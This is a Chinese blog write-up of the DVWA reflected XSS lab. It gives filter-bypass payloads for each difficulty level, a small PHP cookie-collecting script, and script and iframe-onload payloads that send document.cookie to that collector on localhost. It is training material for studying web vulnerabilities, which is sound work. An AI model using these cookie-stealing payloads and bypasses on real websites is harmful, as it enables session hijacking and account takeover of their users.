zoukankan      html  css  js  c++  java
  • 【DVWA(四)】XXS反射型跨站攻击


    XXS反射型跨站攻击(Reflected Cross Site Scripting)

    概要:

    跨站攻击是指入侵者在远程WEB页面的HTML代码中插入具有恶意目的的数据,用户认为该页面是可信赖的,但是当浏览器下载该页面,嵌入其中的脚本将被解释执行。由于HTML语言允许使用脚本进行简单交互,入侵者便通过技术手段在某个页面里插入一个恶意HTML代码,例如记录论坛保存的用户信息(Cookie),由于Cookie保存了完整的用户名和密码资料,用户就会遭受安全损失。如这句简单的Javascript脚本就能轻易获取用户信息:alert(document.cookie),它会弹出一个包含用户信息的消息框。入侵者运用脚本就能把用户信息发送到他们自己的记录页面中,稍做分析便获取了用户的敏感信息。

          跨站脚本攻击分类:

          1、持久型XSS,又称存储型XSS

          2、非持久型XSS,又称反射型XSS

          3、DOM-XSS,DOM(文档对象模型)

          其中持久型的危害较大,其余两种目前貌似还没出现大范围、自动化的危害手段,不过已经有人可以把非持久型的跨站的危害最大化,当然对个人技术要求比较高。

          对于非持久型的跨站漏洞来说,应该还是属于鸡肋漏洞,不过现在关于如何扩大这种漏洞的危害已经有了一定发展,并且有人成功利用这种漏洞造成了不小的危害。反射型XSS摘掉“鸡肋漏洞”的帽子已经不远了。


    本篇以DVWA四个等级进行研究,期间穿插hackbar等的使用,发现不理解的,可以翻看之前的随笔,欢迎留言斧正。


    low:

    恰好在听歌,就先用歌曲插进去试试:

    <iframe frameborder="no" border="0" marginwidth="0" marginheight="0" width=330 height=86 src="//music.163.com/outchain/player?type=2&id=1305364671&auto=1&height=66"></iframe>

    哦吼可以的。因此可见,xss漏洞就是在输入内容上动手脚!

    现在正式开始:

    1.用alert试试

    <script>alert("test")</script>

    发现可以

    2.既然可以,那就继续获取cookie

    写php文件:

    <?php
    
    $cookie=$_GET['cookie'];
    file_put_contents('get_low_dvwa_cookie.txt',$cookie);
    
    ?>

    放到www文件夹下。

    3.利用漏洞把cookie发送到刚刚的php文件中:

    <script>document.location='http://127.0.0.1/get_low_dvwa_cookie.php?cookie='+document.cookie</script>

    可以在输入框输入以上代码,也可以在hackbar里name="code...",注意用url encode

    4.这时候可以看见获取了cookie并保存了文件

    5.利用cookie进行登录【这部分暂时还没研究,挖坑!


    medium:

    1.继续尝试alert,发现不可行

    2.用<SCRIPT>进行尝试,发现ok

    3.查看源码:

    <?php
    
    header ("X-XSS-Protection: 0");
    
    // Is there any input?
    if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
        // Get input
        $name = str_replace( '<script>', '', $_GET[ 'name' ] );
    
        // Feedback for end user
        echo "<pre>Hello ${name}</pre>";
    }
    
    ?> 

    可见<script>无效,因此我们用大写之后就ok了。

    除了大小写组合,还可以利用<scr<script>ipt>进行绕过。

    XXS漏洞发现,之后跟low完全一样了


    high:

    1.用alert尝试:

    不行,并且返回'>'

    2.用大小写组合尝试

    不行

    3.但是用之前的那个网易云音乐尝试可行

    <iframe frameborder="no" border="0" marginwidth="0" marginheight="0" width=330 height=86 src="//music.163.com/outchain/player?type=2&id=1305364671&auto=1&height=66"></iframe>

    4.因此可以判断,仅仅对script进行了处理!

    用<iframe onload=alert("test")>测试,可行!

    5.相当于利用iframe嵌入新的HTML

    <iframe onload=document.location='http://127.0.0.1/get_low_dvwa_cookie.php?cookie='+document.cookie>

    成功!


    impossible:

    // Check Anti-CSRF token
        checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); 

        暂时无解


    后记:

    关于合天网安那一课后面的三个问号的思考:

    1)跨站漏洞的原理是什么?

      没有对输入内容进行相应处理,如果像impossible那样处理,就能很好的保护了。
    2)一般如何挖掘跨站漏洞?

      alert、iframe等等
    3)现在如果你发现一个跨站漏洞你该如何利用?

      收集cookie,登录后台,已经挖坑,之后补一个实践操作的随笔记录。

  • 相关阅读:
    洛谷 P2108 学英语
    洛谷 P1010 幂次方
    洛谷 P1101 单词方阵
    洛谷 P1217 [USACO1.5]回文质数 Prime Palindromes
    洛谷 P1553 数字反转(升级版)
    hdu_1348_Wall(凸包)
    hdu_1392_Surround the Trees(凸包)
    hdu_1115_Lifting the Stone(求多边形重心)
    Codeforces Round #354 (Div. 2)_Vasya and String(尺取法)
    hdu_1558_Segment set(并查集+计算几何)
  • 原文地址:https://www.cnblogs.com/wayne-tao/p/11074754.html
Copyright © 2011-2022 走看看